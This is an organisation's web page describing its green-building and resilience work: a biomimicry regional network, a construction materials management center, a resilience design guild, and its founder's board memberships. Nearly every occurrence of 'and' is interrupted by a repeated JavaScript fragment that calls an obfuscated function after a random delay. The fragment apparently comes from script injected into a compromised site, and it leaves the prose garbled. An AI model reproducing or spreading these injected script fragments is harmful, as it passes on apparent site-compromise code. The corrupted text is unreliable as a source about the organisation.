For the Seventh Generation

We donate our time, experience, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and different forms of capital to a diversity of groups andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and initiatives focused on preserving the living (bio/cultural/physical) world, to enhance the health andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and adaptive capacity of our andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the next seven generations. This work includes:

 

Biomimicry Northern Forest. NGBC has founded andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is forming a biomimicry regional network, to prospectively join the global biomimicry network cross-pollinated by Biomimicry 3.8. The essence is to catalyze life-inspired design in this region through education andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and projects. The network’s first initiatives will be integrating ecosystem scale mimicry, resilience science, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and traditional ecological knowledge. A deeper goal is to interconnect diverse groups of professionals, students & professors, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and community members, to take care of place by designing, building, managing to enhance the bio/cultural/physical world.

 

NYS Construction Materials Management Center (CMMC). Greater than 60% of material flows through the US economy are construction related (US Geologic Service). For the first time in approximately 400 million years, a single species, humans, is consuming approximately 30% to 40% of the food resource available to all species in terrestrial systems (NPP). For these andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and related reasons, redesigning the resource flows through our homes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cities through strategies such as deconstruction rather demolition, critical path planning for projects, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and innovative & adaptive practices for reducing, reusing or using materials in biophysically regenerative ways (structurally andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and functionally) is perhaps where the biggest impact can be made, economically, ecologically andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and equitably.

 

Resilience Design, Construction & Planning Guild. Currently, we are working to create a guild andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and/or center devoted to translating resilience science into a practitioner’s andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and doer’s framework for designing & constructing buildings & managing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and planning communities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cities to enhance resilience, health, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and adaptive capacity. More on this soon! 

 

Our founder, Kevin, also serves on various boards, including the:

 

  • US Green Building Council, National Board of Directors, holding the residential construction seat through 2016.
  • Green Advantage, member of Certification Board. Current.
  • USGBC, Chair of LEED for Homes 2012 Working Group.
  • USGBC, member of original LEED for Homes Core Committee (that drafted LEED for Homes 2008).
  • Northeast HERS Alliance, past president & member of the board.
  • Syracuse Center of Excellence in Environmental & Energy Systems, Charter Member, advisory board member, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and member of Committees for Research & Technology & Building.
  • CNY Home Builders & Remodelers Association, current board member.
  • Building Performance Contractors Association, founding & past board member.
  • USGBC NY Upstate Chapter, member of founding group, past chair of board, current residential green building advocate, past regional representative.